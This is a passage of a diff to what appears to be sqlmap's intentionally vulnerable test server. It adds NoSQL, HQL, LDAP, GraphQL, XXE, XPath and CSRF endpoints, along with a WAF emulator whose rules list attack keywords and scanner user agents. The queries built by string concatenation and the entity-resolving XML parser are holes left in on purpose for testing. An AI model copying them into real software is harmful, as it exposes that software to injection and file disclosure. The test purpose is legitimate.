'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com'); """ LISTEN_ADDRESS = "localhost" LISTEN_PORT = 8440 +# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The +# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match. +NOSQL_USERS = { + "luther": "s3cr3t", + "fluffy": "carrot", + "wu": "shanghai", +} + +def nosql_match(params): + """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password' + field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against + the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error).""" + + record = NOSQL_USERS.get(params.get("name")) + + spec = params.get("password") + if isinstance(spec, dict): + op, value = next(iter(spec.items()), ("$eq", None)) + else: + op, value = "$eq", spec + for key in params: + match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key) + if match: + op, value = match.group(1), params[key] + break + + if isinstance(value, (tuple, list)): + value = value[-1] if value else None + + if record is None: + return False + elif op == "$ne": + return record != value + elif op == "$gt": + return record > (value or "") + elif op == "$regex": + return re.search(value, record) is not None + else: # $eq, $in (single-valued here) and any literal equality + return record == value + +# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) ------------------- +# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator +# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path +# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped +# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects +# the parser diagnostic, so it also exercises the error-based entity-leak path. + +HQL_ENTITY = "org.vulnserver.model.Users" +HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"} + + +class _HqlError(Exception): + pass + + +def _hql_short(name): + return re.split(r"[.$]", name)[-1] + + +def _hql_no_row(atom): + """True when a row-walk bound "_h2. > " excludes the only record, so the + scalar sub-query resolves to NULL and its comparison is false.""" + + match = re.search(r"_h2\.\w+>(\d+)", atom) + return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1)) + + +def _hql_atom(atom): + atom = atom.strip() + + match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1' + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' + if match: + return HQL_RECORD["name"] == match.group(1) + + match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute + if match: + if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY): + raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1)) + return True + + match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence + if match: + attr = match.group(1) + if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return True + + match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length + if match: + attr, n = match.group(1), int(match.group(2)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): # row-walk cursor advanced past the only record + return False + return len(HQL_RECORD[attr]) >= n + + match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index) + if match: + attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): + return False + value = HQL_RECORD[attr] + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent + return index >= n + + match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) + if match: + attr = match.group(1) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return HQL_RECORD[attr] is not None + + raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24]) + + +def hql_evaluate(value): + """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError.""" + + clause = "name = '%s'" % value + return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) + +# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ + +XPATH_XML = """ + + + + luther + Luther Blisset + luther@example.com + db3a16990a0008a3b04707fdef6584a0 + System Administrator + London + +1 555 0100 + + + fluffy + Fluffy Bunny + fluffy@example.com + 4db967ce67b15e7fb84c266a76684729 + Security Engineer + Amsterdam + +1 555 0102 + + + wu + Wu Ming + wu@example.com + f5a2950eaa10f9e99896800eacbe8275 + Network Administrator + Shanghai + +86 21 555 0103 + + + + + linus + Linus Torvalds + linus@example.com + 8e7b6a5c4d321908f7e6d5c4b3a2910f + Kernel Developer + Portland + +1 555 0200 + + + ada + Ada Lovelace + ada@example.com + 1a2b3c4d5e6f7081920a1b2c3d4e5f60 + Algorithm Designer + London + +44 20 555 0201 + + + + + grace + Grace Hopper + grace@example.com + 9e8d7c6b5a493827160e9d8c7b6a5948 + CTO + New York + +1 555 0300 + + +""" + +def _xpath_element_to_dict(el): + """Convert an lxml element to a dict for JSON serialization.""" + retVal = dict(el.attrib) + retVal["tag"] = el.tag + retVal["text"] = (el.text or "").strip() + children = [] + for child in el: + children.append(_xpath_element_to_dict(child)) + if children: + retVal["children"] = children + return retVal + _conn = None _cursor = None _lock = None _server = None _alive = False +_csrf_token = None def init(quiet=False): global _conn global _cursor global _lock + global _csrf_token + + _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20)) _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) _cursor = _conn.cursor() @@ -90,6 +434,474 @@ def finish_request(self, *args, **kwargs): if DEBUG: traceback.print_exc() +# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request +# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE +# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request +# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/ +# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike', +# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior. +# +# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring +# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the +# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign +# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing +# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper. +WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+" # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it +WAF_RULES = ( + (r"\bunion\b.{0,40}\bselect\b", 6), + (r"\binformation_schema\b", 5), + (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5), + (r"\b(select|insert|update|delete|drop)\b", 3), + (WAF_NUMERIC_COMPARISON, 4), + (r" cumulative score that triggers a block +WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b" +WAF_SCANNER_UA_WEIGHT = 3 # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score + +# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison +# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all +# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the +# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough +# the search must bail honestly (level 5). This mirrors the hardest real-world case. +WAF_LIBINJECTION_LEVELS = (4, 5) +WAF_LIBINJECTION_WEIGHT = 5 +WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)" + +def waf_score(value, ua=None, level=0): + value = (value or "").lower() + value = re.sub(r"/\*.*?\*/", " ", value) # t:replaceComments (note: -> single space, not empty) + value = re.sub(r"(?:--|#)[^\n]*", " ", value) # t:removeComments (line comments) + value = re.sub(r"\s+", " ", value) # t:compressWhitespace + libinjection = level in WAF_LIBINJECTION_LEVELS + retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value)) + if libinjection and re.search(WAF_LIBINJECTION, value): # operator-agnostic comparison score (tampers cannot remove it) + retVal += WAF_LIBINJECTION_WEIGHT + if ua and re.search(WAF_SCANNER_UA, ua): # scanner-fingerprint score, stacked with the payload score + retVal += WAF_SCANNER_UA_WEIGHT + return retVal + +# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------ + +def _ldap_escape_like(value): + """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent, + and underscore are the only characters with special meaning in LIKE.""" + if value is None: + return None + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + +def _ldap_attr(attr): + """Map an LDAP attribute name to the directory table column, or None if unknown.""" + valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"} + return attr if attr in valid else None + +def _ldap_match(text, start): + """Find the closing ')' that balances the opening '(' at `start`. Skip escaped + hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')' + as a structural closer.""" + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + +def _ldap_parse_value(text, start): + """Parse an assertion value from filter text at position `start`, handling escape sequences. + Returns (value, end_pos).""" + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + +def _ldap_filter_to_sql(text, start=0): + """Convert an LDAP filter substring starting at `start` to a parameterized + SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos) + on parse failure. Values are passed as parameters so that user-controlled + characters (apostrophe, backslash, etc.) cannot break the SQL string literal.""" + + if start >= len(text) or text[start] != '(': + return None, [], start + + i = start + 1 + if i >= len(text): + return None, [], start + + op = text[i] + i += 1 + + if op in ('&', '|'): + # Compound filter: collect all sub-filters + sub_clauses = [] + sub_params = [] + while i < len(text) and text[i] == '(': + clause, params, i = _ldap_filter_to_sql(text, i) + if clause: + sub_clauses.append(clause) + sub_params.extend(params) + # Always use bracket-matched end so nested compounds don't shift the + # parent's notion of where this child ends (reviewer blocker 3) + end = _ldap_match(text, start) + if not sub_clauses: + return None, [], end + if len(sub_clauses) == 1: + return sub_clauses[0], sub_params, end + joiner = " AND " if op == '&' else " OR " + return "(%s)" % joiner.join(sub_clauses), sub_params, end + + elif op == '!': + # NOT filter + clause, params, i = _ldap_filter_to_sql(text, i) + end = _ldap_match(text, start) + if clause: + return "(NOT (%s))" % clause, params, end + return None, [], end + + else: + # Simple filter: attr OP value + # Re-read from start+1 to get the full attr name + j = start + 1 + while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'): + j += 1 + attr = text[start+1:j].strip() + if not attr: + return None, [], _ldap_match(text, start) + + col = _ldap_attr(attr) + if col is None: + return None, [], _ldap_match(text, start) + + if j >= len(text): + return None, [], start + + # Check for approx match (~=) + if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=': + op_type = '~=' + j += 2 + elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=': + op_type = '>=' + j += 2 + elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=': + op_type = '<=' + j += 2 + elif text[j] == '=': + op_type = '=' + j += 1 + else: + return None, [], _ldap_match(text, start) + + value, _ = _ldap_parse_value(text, j) + end = _ldap_match(text, start) + + if op_type == '=': + if value == '*': + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif '*' in value: + parts = value.split('*') + if len(parts) == 2 and not parts[0] and not parts[1]: + # Just '*' -> presence + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif len(parts) == 2 and parts[0] and not parts[1]: + # 'prefix*' -> anchored prefix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end + elif len(parts) == 2 and not parts[0] and parts[1]: + # '*suffix' -> anchored suffix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end + else: + # '*mid*', 'pre*mid*suf', etc. -- split('*') already + # partitions the value into literal segments; joining + # them with '%' naturally produces the correct anchored + # LIKE pattern: empty first/last elements from surrounding + # wildcards become leading/trailing '%' automatically. + pattern = '%'.join(_ldap_escape_like(p) for p in parts) + return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end + else: + return "(%s = ?)" % col, [value], end + elif op_type == '>=': + return "(%s >= ?)" % col, [value], end + elif op_type == '<=': + return "(%s <= ?)" % col, [value], end + elif op_type == '~=': + return "(%s = ?)" % col, [value], end + + return None, [], end + + +def _ldap_execute(filter_str): + """Execute an LDAP filter against the directory table. Returns (rows, error_msg).""" + if not filter_str or not filter_str.strip(): + return None, "Bad search filter" + + # Simple bracket validation + if filter_str.count('(') != filter_str.count(')'): + return None, "Bad search filter (-7)" + + try: + clause, params, _ = _ldap_filter_to_sql(filter_str) + if not clause: + return None, "Bad search filter (-7)" + + sql = "SELECT * FROM directory WHERE %s" % clause + with _lock: + _cursor.execute(sql, params) + rows = _cursor.fetchall() + return rows, None + except Exception as ex: + msg = str(ex) + # Emulate different back-end error messages + if "no such column" in msg.lower(): + return None, "Bad search filter" + if "unrecognized" in msg.lower() or "syntax" in msg.lower(): + return None, "Bad search filter (-7)" + return None, "Bad search filter (%s)" % msg.split(':')[0] + +def _ldap_row_to_obj(row): + """Convert a SQLite row to a dict with non-None attributes.""" + if not row: + return None + keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member") + return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None) + +# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- + +# Hard-coded introspection response matching the schema below. Every GraphQL tool (including +# sqlmap's --graphql engine) uses this to discover fields, arguments, and types. +def _graphql_introspection(): + return { + "data": { + "__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "search", "args": [ + {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}} + ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "updateUser", "args": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ]}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Boolean"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + } + } + } + + +def _graphql_arg(raw): + """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is""" + raw = raw.strip() + if raw.startswith('"') and raw.endswith('"'): + return raw[1:-1].replace('\\"', '"') + return raw + + +def _graphql_match(text, start): + """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over + double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and + nested selection sets do not throw off the balance.""" + + pairs = {'(': ')', '{': '}'} + opener, closer = text[start], pairs[text[start]] + depth, i, n = 0, start, len(text) + while i < n: + char = text[i] + if char == '"': + i += 1 + while i < n and text[i] != '"': + i += 2 if text[i] == '\\' else 1 + elif char == opener: + depth += 1 + elif char == closer: + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _graphql_selections(body): + """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing, + argument literals carrying brackets/quotes, and nested selection sets (which are skipped over).""" + + identifier = re.compile(r'[A-Za-z_]\w*') + selections, i, n = [], 0, len(body) + while i < n: + while i < n and body[i] in ' \t\r\n,': + i += 1 + match = identifier.match(body, i) + if not match: + i += 1 + continue + name, i = match.group(0), match.end() + + j = i + while j < n and body[j] in ' \t\r\n': + j += 1 + if j < n and body[j] == ':': # 'name' was an alias; the real field follows + j += 1 + while j < n and body[j] in ' \t\r\n': + j += 1 + match = identifier.match(body, j) + if not match: + continue + alias, field, i = name, match.group(0), match.end() + else: + alias, field = None, name + + while i < n and body[i] in ' \t\r\n': + i += 1 + rawArgs = "" + if i < n and body[i] == '(': + end = _graphql_match(body, i) + rawArgs, i = body[i + 1:end - 1], end + + while i < n and body[i] in ' \t\r\n': + i += 1 + if i < n and body[i] == '{': # skip this field's (possibly nested) selection set + i = _graphql_match(body, i) + + selections.append((alias, field, rawArgs)) + return selections + + +def _graphql_resolve(query, variables): + """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field, + and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request + (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip.""" + + variables = variables or {} + errors = [] + data = {} + + op = "query" + for keyword in ("mutation", "subscription"): + if query.strip().startswith(keyword): + op = keyword + break + + start = query.find('{') + if start == -1: + errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}}) + return None, errors + + for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]): + key = alias or field + + # Parse arguments + args = {} + for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs): + name, val = am.group(1), am.group(2) + if val.startswith('$'): + args[name] = variables.get(val[1:], None) + else: + args[name] = _graphql_arg(val) + + try: + if field in ("__typename", "__schema"): + data[key] = op.title() + elif field == "user": + data[key] = _resolver_user(args.get("username")) + elif field == "search": + data[key] = _resolver_search(args.get("term")) + elif field == "login": + data[key] = _resolver_login(args.get("username"), args.get("password")) + elif field == "updateUser": + data[key] = _resolver_updateUser(args.get("id"), args.get("email")) + else: + errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()), + "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}}) + except Exception as ex: + # Leak the backend error through the GraphQL error envelope (as many real servers do + # in development mode) -- this drives error-based detection + errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex), + "path": [key], "extensions": {"exception": str(ex)}}) + + if not data and not errors: + return None, errors + return data, errors + + +# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------ + +def _resolver_user(username): + if not username: + return None + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + +def _resolver_search(term): + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or "")) + rows = _cursor.fetchall() + return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])] + + +def _resolver_login(username, password): + if not username or not password: + return None + with _lock: + _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password)) + row = _cursor.fetchone() + if row: + return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}} + return None # returns null in data (boolean oracle: true=object, false=null) + + +def _resolver_updateUser(id_, email): + with _lock: + _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_)) + _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -131,6 +943,296 @@ def do_REQUEST(self): self.url, self.params = path, params + # primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off) + try: + level = int(self.params.get("security_level", 0) or 0) + except (TypeError, ValueError): + level = 0 + + if level > 0: + surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "") + if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2): + self.send_response(FORBIDDEN) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"Request blocked: security policy violation (WAF)") + return + + if self.url == "/xxe": + self.send_response(OK) + self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + body = getattr(self, "data", "") or "" + try: + from lxml import etree + # VULNERABLE: a parser configured to load DTDs and resolve entities (incl. + # external file:// general entities) - the textbook XXE misconfiguration. + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True) + root = etree.fromstring(body.encode(UNICODE_ENCODING), parser) + output = "%s" % "".join(root.itertext()) # reflects expanded entities + except Exception as ex: + output = "%s: %s" % (type(ex).__name__, ex) # parser diagnostic (error-based tier) + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + + if self.url == "/csrf": + if self.params.get("csrf_token") == _csrf_token: + self.url = "/" + else: + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.end_headers() + + form = ( + "" + "CSRF protection check
" + "
" + "" + "id: " + "" + "
" + "" + ) % _csrf_token + + self.wfile.write(form.encode(UNICODE_ENCODING)) + return + + if self.url == "/nosql": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + try: + output = "Welcome %s" % self.params.get("name") if nosql_match(self.params) else "Invalid credentials" + except re.error: # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting) + output = "MongoServerError: Regular expression is invalid: missing terminating ] for character class" + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/graphql": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + query = self.params.get("query", "") + variables = self.params.get("variables") or {} + + if not isinstance(variables, dict): + try: + variables = json.loads(str(variables)) + except Exception: + variables = {} + + if "__schema" in query: + output = json.dumps(_graphql_introspection()) + else: + data, errors = _graphql_resolve(query, variables) + resp = {} + if errors: + resp["errors"] = errors + if data: + resp["data"] = data + output = json.dumps(resp, default=str) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url in ("/ldap", "/ldap/search"): + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + if q: + filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 1, "errorMessage": error}) + else: + entries = [_ldap_row_to_obj(r) for r in (rows or [])] + output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str) + else: + output = json.dumps({"resultCode": 0, "entries": [], "count": 0}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/ldap/login": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + user = self.params.get("user", "") + password = self.params.get("pass", "") + if user and password: + filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 49, "errorMessage": error}) + elif rows: + entry = _ldap_row_to_obj(rows[0]) + output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"}) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/hql/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + name = self.params.get("name", "") + try: + matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL + output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0}) + except _HqlError as ex: + output = json.dumps({"results": [], "count": 0, "error": str(ex)}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/xpath/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + entries = [] + error = None + + if q: + try: + from lxml import etree + root = etree.fromstring(XPATH_XML.encode("utf-8")) + # VULNERABLE: unsanitized user input directly interpolated into XPath + xpath_expr = 